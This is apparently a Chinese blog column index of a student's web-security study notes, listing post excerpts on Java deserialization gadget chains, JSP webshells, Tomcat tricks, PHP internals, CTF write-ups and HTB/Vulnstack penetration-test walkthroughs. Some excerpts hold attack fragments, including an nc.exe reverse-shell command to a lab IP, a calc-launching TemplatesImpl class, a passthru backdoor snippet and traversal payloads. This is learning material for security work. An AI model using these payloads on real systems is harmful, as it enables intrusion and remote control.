
安全学习
文章平均质量分 69
ctf
Y4tacker
关于我:Web安全、Java安全研究弟中弟
学校:四川大学(2019级)
写给自己:宁静致远,淡泊明志
展开
-
本专栏为自己基于Web方面学习的笔记,大家轻喷!
本专栏为自己基于Web方面学习的笔记,大家轻喷!相当于自己的云笔记了!加油!!!原创 2020-05-27 16:51:33 · 12957 阅读 · 0 评论 -
对Java反序列化数据绕WAF新姿势的补充
文章目录对Java反序列化脏数据绕WAF新姿势的补充写在前面引言为什么这里第一个属性反序列化失败,仍然触发了URLDNS的整个过程灵感大发对Java反序列化脏数据绕WAF新姿势的补充@Y4tacker写在前面这篇文章其实很久前也更新到我博客了还是懒,还是搬过来吧,这里再发一次:https://y4tacker.github.io/引言相信大家都看过回忆飘如雪大师傅的一篇文章,Java反序列化数据绕WAF之加大量脏数据,在这篇文章当中大师傅提出了通过将gadget加入到集合类型从而可以实现添加脏数原创 2022-02-14 20:51:23 · 4457 阅读 · 0 评论 -
jsp新webshell的探索之旅
jsp新webshell的探索之旅题外话最近更新了新的博客关于本人一些有趣的java的研究会优先更新到新博客(http://y4tacker.github.io/)简介这篇文章记录了我从一个小发现到实现RCE,为了实现更短的webshell,在这之间遇到了一些的新问题到解决,再到最终精简得到一个新的jsp五行Payload构成的webshell的过程发现在tomcat的扫描中都有对一些配置文件的扫描以及对里面的属性解析赋值的过程,由于之前的一些小发现(这里不多说),今天下午一个突如其来的crus原创 2022-02-04 11:33:54 · 2364 阅读 · 1 评论 -
Servlet的线程安全问题
文章目录Servlet的线程安全问题引入Servlet的多线程机制如何修复1.实现 SingleThreadModel 接口2.避免使用成员变量3.同步对共享数据的操作思考与小结参考文章Servlet的线程安全问题引入首先看看这样的代码,有什么问题这里既要求cmd不能包含Calculator又必须要包含Calculator,能做到吗,当然是可以的Servlet的多线程机制Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配置文件或者是原创 2022-02-04 11:28:38 · 4245 阅读 · 0 评论 -
两个关于Tomcat利用的好问题
文章目录两个好玩的问题1.为什么往 `/WEB-INF/tomcat-web.xml/`文件夹下写东西可以触发重加载问题来源解决2.Tomcat下/META-INF/lib中被加载的jar,如果在其/META-INF/resources/下直接写jsp可以直接访问执行问题来源两个好玩的问题1.为什么往 /WEB-INF/tomcat-web.xml/文件夹下写东西可以触发重加载问题来源问题的一切来源于一句话:Trigger a reload of the web app by writing an原创 2022-01-26 09:53:31 · 1796 阅读 · 3 评论 -
从DesperateCat学到的Tomcat下的新利用思路
文章目录题目环境分析两个重要的Trick探索开始如何利用org.apache.jasper.compiler.StringInterpreter加载恶意类到JVM梳理利用思路结果题目环境JDK8u311Tomcat9.0.56分析首先拿到这个源码我们看什么 <servlet> <servlet-name>ExportServlet</servlet-name> <servlet-class>org.rwctf.se原创 2022-01-25 09:18:04 · 1388 阅读 · 0 评论 -
[渗透测试]ATT&CK实战 | Vulnstack 红队(一)
文章目录写在前面拿下webshell简单信息搜集CS上线继续信息搜集提权攻击域-接管整个域完结撒花写在前面无聊,再玩一个靶场,顺便记录下,也学了一些新东西拿下webshell打开网站以后发现是个php探针,没啥意义,除了试一试弱口令同时使用dirsearch扫描发现有phpmyadmin,尝试为弱口令root\root查询SHOW VARIABLES LIKE "%SECURE%"发现配置未开启,那么不能使用into outfile写马进去原创 2021-12-07 11:08:23 · 2132 阅读 · 2 评论 -
[渗透测试]ATT&CK实战 | Vulnstack 红队(二)
文章目录环境来源为什么写这篇文章配置nmap扫描启动smbserver共享文件服务打爆weblogic提权使用 procdump64+mimikatz 获取 win 用户明文密生成管理帐号密码用户凭证-连接域控服务器-反弹域控 shel参考文章环境来源来源于https://mp.weixin.qq.com/s/uLlWJdcAc6MmUyuruHygNA,尊重人家作者,还是自己去问人家要吧为什么写这篇文章给一些不必要细节删除,以及一些自己觉得细节的补充配置nmap扫描常用端口是开放状态1原创 2021-12-06 17:25:14 · 2021 阅读 · 2 评论 -
[2021N1CTF国际赛]Easyphp-Wp
文章目录写在前面Wp简单分析小实验验证猜想可效性构造tar参考文章写在前面在各种带飞的情况下,web被带ak了,这里比较想写一个easyphp的wp,这题到结束也只有14个解,其他的懒得写了,本文也只是简单分析Wp简单分析看看首页源码再看这里很明显是触发phar反序列化如何插入数据是一个问题,这里没有上传,再看log.php关键部分源码是这个,我们就应该去想如何去构造,这里phar太难搞了,具体可以看看官方文档关于他的结构,后面最后四位肯定是GBMB多一位都不行,这里想到了tar,本来原创 2021-11-22 16:58:42 · 3074 阅读 · 0 评论 -
[2021XCTF]L3HCTF-Writeup(Web)
文章目录写在前面WebImage Service 1Image Service 2Easy PHPbypass绕过方法一绕过方法二绕过方法Ncover写在前面这周刚好比较空就抽了点时间打了下,质量挺高的还是WebImage Service 1注册个账号,发现密码不能是admin进去可以上传图片flag在admin账户上传的图片中 源码都被编译了感觉在任何地方输入admin 都会被ban,伪造header也都不行f12我查看源码的时候发现居然是支持表单提交不会逆向go,那无源码情况原创 2021-11-16 20:57:21 · 3090 阅读 · 6 评论 -
[Java随笔]冰蝎2.0-jsp马交互部分源码解读及其特征检测
文章目录写在前面源码解读Jsp马交互部分源码解读认证流程写在前面大概是最近搞内存马有点累了,今晚顺便看看冰蝎部分源码,简简单单写篇博客休息休息,本着怕第一次看这个工具源码,怕直接看最新的容易不理解,就拿了个2.0版本看着玩吧,谁知道也太简单了:同款源码在rebeyond/Behinder源码解读反编译jar包后,其核心代码在net.rebeyond.behinderJsp马交互部分源码解读直接丢出来源码,挺简单的,首先是一个继承ClassLoader的U类,一看defineClass就知道是加载原创 2021-11-11 22:22:54 · 3677 阅读 · 2 评论 -
[PHP底层]关于php://filter的分析
文章目录写在前面关于php://filter的处理的一些简单解释php://filter常规流程分析关于exp的分析题外话写在前面慢慢不太想写博客了,很多东西都忙不过来,学的很多,今天抽出空来还是督促自己写一篇,灵感来源于刚刚在网上看到的一篇wp,https://xz.aliyun.com/t/10446,不得不说现在比赛可真多哈,小伙伴们也别太经常打,多做点实际的东西关于php://filter的处理的一些简单解释这里面呢,有几个比较关键的,一个是需要能获取到文件流(也就是我们后面常常写的reso原创 2021-11-08 14:53:31 · 2128 阅读 · 2 评论 -
[Java安全]JDK8u191之后的JNDI注入绕过(javax.el.ELProcessor依赖)
文章目录环境Maven依赖利用分析低版本流程分析JDK8u191之后的JNDI注入绕过参考文章环境我们知道在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了切换到8u191之后就好了,我这里随便选择了8u201Maven依赖<dependency> <groupId&原创 2021-10-13 15:56:09 · 2761 阅读 · 3 评论 -
[Java安全]C3P0反序列化不出网利用学习
文章目录参考文章利用链构造利用链分析参考文章本文复现了雨了个雨师傅的文章,思路很好,看完以后其实和JNDI8u191后的绕过思路一致,这个等下再复现学习利用链构造在昨天看了Ysoserial的基本过程以后其实这个就相对简单了,不一样的地方就是后面Ysoserial用了URLClassLoader,而这个是当前线程下的ClassLoader,曾经一直觉得没用,还是自己学的太少了,大佬想到通过Tomcat的getObjectInstance方法调用ELProcessor的eval方法实现表达式注入p原创 2021-10-13 09:21:01 · 1483 阅读 · 0 评论 -
[Java安全]Java反序列化之spring-tx(Spring Framework 4.2.4)
文章目录环境依赖分析利用链构造利用链分析环境来自spring-jndi依赖<dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-tx</artifactId> <version>4.2.4.RELEASE</version> </d原创 2021-10-12 20:03:04 · 604 阅读 · 0 评论 -
[Java安全]Java反序列化C3P0之利用URLClassLoader
文章目录C3P0是什么实现不调用构造参数创建对象利用链分析C3P0是什么C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等实现不调用构造参数创建对象这个东西在后面利用链生成的过程中实现了,为什么ysoserial使用这个猜测是为了节省不必要的变量吧,payload更短可以参考下这篇文章Java ReflectionFactory利用链分析首先是生成的过程,前面部分分割最后一个:获取原创 2021-10-12 14:36:52 · 781 阅读 · 0 评论 -
[PHP内核]PHP内核学习(四)------回答PHP的字符串解析特性Bypass([、空格被解析为_,[[只将第一个[解析为_)
文章目录写在前面结果演示parse_str处理流程[、空格被解析为_[[只将第一个[解析为_写在前面写这一篇是自己很早之前就很好奇为什么会这样处理,当时没什么能力,今天来尝试分析一下,php底层对其的处理,因为对web的调试比较麻烦,这里用parse_str分析代替,本文先跟踪parse_str流程再解释结果演示[被替换为_test[a[bc被解析为test_a[bc空格被替换为_parse_str处理流程parse_str实现在ext\standard\string.c首先是初始化原创 2021-09-27 13:29:24 · 1389 阅读 · 4 评论 -
[PHP内核]PHP内核学习(三)------sapi_module_struct结构体解析(以cli为例)
文章目录写在前面sapi_module_struct结构简单解读入口Cli中给sapi_module_struct赋值参考文章写在前面最近打了很多比赛,遇到了很多事,心也慢慢更静下来了sapi_module_struct结构简单解读我们以cli为例子,开始学习入口入口肯定是main函数了,首先定义一系列的变量,其中就有sapi_module_structmain\SAPI.h中有这个结构的定义下面是各个参数的作用struct _sapi_module_struct { cha原创 2021-09-27 09:22:09 · 474 阅读 · 0 评论 -
[PHP内核]PHP内核学习(二)------zend_try实现
文章目录写在前面zend_try实现zend_try_catch基本用法zend_try相关原型定义SETJMPLONGJMP简单的例子zend_try实现参考文章写在前面为什么想记录这个,主要是今天学习如何留后门,调用了这个,遂看看简单记录下char exec_str[256];snprintf(exec_str, sizeof(exec_str), "passthru(\"%s\");", "calc");zend_try{ zend_eval_string(exec_str, NULL原创 2021-09-19 22:33:50 · 585 阅读 · 1 评论 -
[PHP内核]PHP内核学习(一)------SAPI学习
文章目录写在前面SAPI学习什么是SAPIsapi_module_struct结构简单注释cgi模式cli 模式fpm简单总结写在前面新开一个坑,虽然未来PHP用的不多,但是学起来还是有点意思SAPI学习什么是SAPI从php7内核剖析当中提到PHP本身可以理解为是一个库函数,提供语言的编译与执行服务,它有标准的输入、输出,而SAPI是PHP的接入层,它接收用户的请求,然后调用PHP内核提供的一些接口完成PHP脚本的执行从图中可以看出,各种应用都是通过对应的SAPI与php进行交互的原创 2021-09-19 21:46:33 · 662 阅读 · 1 评论 -
[Java安全]HashMap的readObject都发生了什么
文章目录写在前面分析(以URLDNS为例)分析LinkedHashSet,HashSet,TreeSet等类为什么不可以写在前面这篇文章的灵感来自纯好奇大佬的文章当然推荐大家看看大佬的文章,学点骚操作,我只是顺便分析一下为什么这样可以而已,大佬可乐嗯觉得这些比较简单没有写原因,那我来学习学习顺便记录,大佬文章直达Java反序列化数据绕WAF之加大量脏数据分析(以URLDNS为例)首先我们要知道ObjectInputStream的readObject的调用栈,来个网图自己懒的画,很简单的关系至原创 2021-09-17 11:20:21 · 840 阅读 · 0 评论 -
[WP]2021羊城杯-Web部分
文章目录写在前面WebCross The SideCheckin_GoOnly 4 (非预期解法)Only 4 (预期解法)NO SQLEasyCurl写在前面这次拿了第一还是比较开心的,一晚上没睡觉…WebCross The Side版本信息Laravel v8.26.1 (PHP v7.4.15)目录扫描应该是开启了redis联系版本号,尝试debug-rce既然有file_get_contents与file_put_contents,尝试ftp passivemode 成功出原创 2021-09-14 09:06:15 · 2058 阅读 · 1 评论 -
[Java安全]Fastjson>=1.2.36$ref引用可触发get方法分析
文章目录写在前面JSONPath语法利用演示$ref引用触发get方法分析解释为什么1.2.36前的版本不行写在前面平时我们在处理fastjson反序列化的时候,如果我们想要执行属性的get方法,而如果只有JSON.parse怎么办我们知道JSON.parse可以套一层parseObject实现对get方法的调用,但说这个也没有必要继续本篇的介绍了,这里介绍另一种,废话不多说开始分析JSONPath语法看文档https://goessner.net/articles/JsonPath/,重点关注下原创 2021-09-13 22:08:34 · 2815 阅读 · 0 评论 -
Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)
文章目录写在前面流程分析写在前面关于TemplatesImpl加载字节码就不多说了,之前也写过自己翻一翻,或者网上看看其他大佬的,至于为什么选择这一个,因为这里面大多数过程都有,除了$ref,算是比较全面了流程分析核心代码public class test1 { public static void main(String[] args) throws Exception{ String payload = "{\"@type\":\"com.sun.org.apache原创 2021-09-13 20:29:17 · 763 阅读 · 0 评论 -
[Java安全]Just-Serving-Pages赛题分析
文章目录写在前面Just-Serving-Pages分析写在前面昨晚一点睡觉feng师傅提醒我了下,今天不当懒狗,我相信自己可以解决这里就先直接开始试着边做边写Wp了Just-Serving-Pages分析朴实无华,先看看依赖,这个版本其实是存在反序列化RCE的,但是条件比较苛刻在src/src/cscg/servlets/ConfigServlet.java看到了如果是Object.class多好啊不过这里也给了我一个提示,允许我们去修改除了User的设置也就是如果我们开启De原创 2021-09-07 16:53:04 · 341 阅读 · 3 评论 -
[PHP底层]命令执行底层分析
文章目录写在前面命令执行底层分析写在前面新法颁布,很多也不敢发了,就偶尔写一篇有意思的东西吧命令执行底层分析注意本篇是基于windows平台进行的分析环境这方面就不多说了VisualStudio、Vscode、php-src源码编译插件用了c\c++、CodeRunner,环境很简单不想多说,直接干活故事从一个system('whoami');说起,你明天都输入这些函数真的就不好奇干了些什么吗分析前先给大家看看函数调用栈通过全局搜索,我们定位到了ext\standard\exec.c第原创 2021-09-06 09:37:25 · 698 阅读 · 0 评论 -
[WP]RACTF-Writeup
文章目录Webnotebooknotebook2明天早上继续Webnotebook首先我们能看到文件,在urls.py里面查看路由我第一眼锁定了这个os.path.join函数如果参数是/flag那么后面经过函数处理就会是flag因此我们只需要传入{{/flag.txt}}按理说应该就能够得到flag,但是很不幸不可以在创建的时候这里进行了替换这里将..替换为空{{替换为空但这里因为先后顺序很明显有一个逻辑漏洞,因此我们只需要构造{..{/flag.txt}..}即可绕过读取原创 2021-08-17 22:47:50 · 834 阅读 · 0 评论 -
[DASCTF][Java反序列化]easyjava简单分析
文章目录写在前面easyjava推荐文章写在前面昨天题目环境似乎出了点小问题,咋也不好问,咋也不敢说,题目有意思,当然还有其他链子猜测jdbc应该也可以打,没试过太懒了easyjava首先下载源码发现Java版本是1.7的,先放这里看看在evil路由下面,很明显是去触发反序列化,但是有过滤ban了这么多,cc链基本上不用想了,一方面是低版本不起作用,另一方面Transformer被ban了,看来只能用TemplatesImpl去执行字节码试一试,想到了Java7U21反序列化(可以看我博客分原创 2021-08-02 12:39:50 · 2827 阅读 · 3 评论 -
[代码审计]齐博建站系统x1.0企业版代码审计
文章目录写在前面齐博建站系统x1.0后台存在命令执行漏洞齐博建站系统x1.0企业版前台反序列化漏洞写在前面复现2021 DASCTF July X CBCTF 4th赛题齐博建站系统x1.0后台存在命令执行漏洞漏洞点在于application/admin/controller/Upgrade.php下的sysup函数跟入writelog,很有趣没有过滤进行直接拼接写入的是php文件有点傻因此我们直接访问http://yyds.top/admin.php/admin/upgrade/sy原创 2021-08-02 10:09:28 · 1587 阅读 · 3 评论 -
[Java反序列化]JDK7U21原生反序列化利用链分析
文章目录写在前面利用链JDK7U21原生反序列化利用链分析流程跟踪参考文章写在前面这段时间看了也跟踪了CC链,CB链,也跟踪调试了shiro的两个链子,XMLDecoder等,就用JDKK7U21原生反序列化利用链来暂时结束下最近的学习利用链LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Pro原创 2021-07-29 16:42:08 · 1450 阅读 · 0 评论 -
[Java反序列化]Java-CommonsBeanutils1利用链分析
文章目录反序列化调用链Java-CommonsBeanutils1利用链分析参考文章反序列化调用链ObjectInputStream.readObject() PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() siftDownUsingComparator() BeanComparator.compare() TemplatesImpl.getOutputPro原创 2021-07-28 14:36:26 · 827 阅读 · 0 评论 -
[Java反序列化]Java-CommonsCollections2TemplatesImpl利用链分析
文章目录Java-CommonsCollections2TemplatesImpl利用链分析完整代码Java-CommonsCollections2TemplatesImpl利用链分析我们知道我们之前可以利用TemplatesImpl 构造出⽆Transformer数组的利⽤链,那这里是否可以实现呢,答案是是的,在这里的queue现在开始正文,还是稍微详细说一下利用过程吧现在我们的目标就是通过PriorityQueue来调用TemplatesImpl的newTransformer来加载字节码 T原创 2021-07-28 09:40:03 · 544 阅读 · 0 评论 -
[Java反序列化]Java-CommonsCollections2利用链分析
文章目录Java-CommonsCollections2利用链分析Java-CommonsCollections2利用链分析简单来说CC2就是从 Serializable的readObject()⽅法到 Transformer的transform()⽅法的调⽤链看一看具体流程,Serializable的readObject()⽅法调用heapify方法调用siftDown方法调用siftDownUsingComparator方法最后到了TransformingComparator下的comp原创 2021-07-26 17:14:22 · 489 阅读 · 0 评论 -
[Java安全]Shiro RememberMe 1.2.4反序列化漏洞分析
文章目录写在前面Shiro RememberMe 1.2.4反序列化漏洞Payload写在前面Payload来自P神的GithubShiro RememberMe 1.2.4反序列化漏洞在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe,进而触发反序列化漏洞,在这里我们还是配合TemplatesImpl执行字节码,但是如果使用Transformer数组则会报错,因为反序列化流中包含非Java自身的数组,则会出现无法加载类的错误Trans原创 2021-07-26 13:54:04 · 832 阅读 · 0 评论 -
[Java反序列化]CommonsCollections3利用链学习
文章目录利用思路利用思路绕过了对InvokerTransformer的利用,替代方法是这⾥⽤⼀个新的Transformer,org.apache.commons.collections.functors.InstantiateTransformer,通过利⽤ InstantiateTransformer来调⽤到TrAXFilter 的构造⽅法,再利⽤其构造⽅法⾥的 templates.newTransformer() 调⽤到 TemplatesImpl⾥的字节码...原创 2021-07-25 18:50:56 · 626 阅读 · 4 评论 -
[Java安全]利用TemplatesImpl执行字节码
文章目录defineClass利用TemplatesImpl执行字节码defineClass介绍之前首先还是要知道defineClass的利用方式,下面给出简单的代码public class TouchFile{ public TouchFile() throws Exception { Runtime.getRuntime().exec("calc"); } }把它编译成字节码后Base64之后运行Method defineClass =原创 2021-07-25 15:48:22 · 3590 阅读 · 2 评论 -
[Java-sec-code]Java velocity SSTI
文章目录Java velocityJava velocity可以看一看这一篇文章java velocity模板用法(替换、循环、if判断)原创 2021-07-25 10:04:40 · 1129 阅读 · 0 评论 -
[Java-sec-code]SpEL表达式注入
文章目录SpELSpEL注入SpEL我们学安全主要了解那些对我们有用的东西,在这里有一篇链接方便大家进行了解https://www.jianshu.com/p/e0b50053b5d3此外,我觉得其中最重要的是通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性:,并且如果包在java.lang下面可以省略这一部分,因此我们便可以利用此方法调用Runtime执行命令SpEL注入在org/joychou/controller/SpEL.java下面,原创 2021-07-25 09:19:35 · 511 阅读 · 0 评论 -
[渗透测试]HTB靶机-Shield
文章目录ShieldShield扫描文件神奇的出来个这个扫描发现存在wordpress站点用admin/P@s5w0rd!成功登陆后台发现存在漏洞的后面发现可以直接用msf来利用,完美的换个目录方便我上传文件接下来cd C:/inetpub/wwwroot/wordpress/wp-content/uploads刚刚发现文件放错地方了重新来一下执行execute -f nc.exe -a "-e cmd.exe 10.10.14.8 1234"成功接收到shell原创 2021-07-23 14:38:35 · 437 阅读 · 0 评论 -
[渗透测试]HTB靶机-Vaccine
文章目录VaccineVaccine首先nmap -sC -sV 10.10.10.46发现前台是一个登陆界面,尝试ftp登录ftpuser / mc@F1l3ZilL4输入dir拿到源码尝试下载通过爆破得到密码741852963拿到源码拿到2cb42f8734ea607eefed3b70af13bbd3去尝试md5撞库成功进入后台发现存在sql注入这里很容易猜测到如果是只通过sql那一定是通过udf提权,直接sqlmap一把梭输入bash -c 'bash -原创 2021-07-22 18:59:43 · 847 阅读 · 5 评论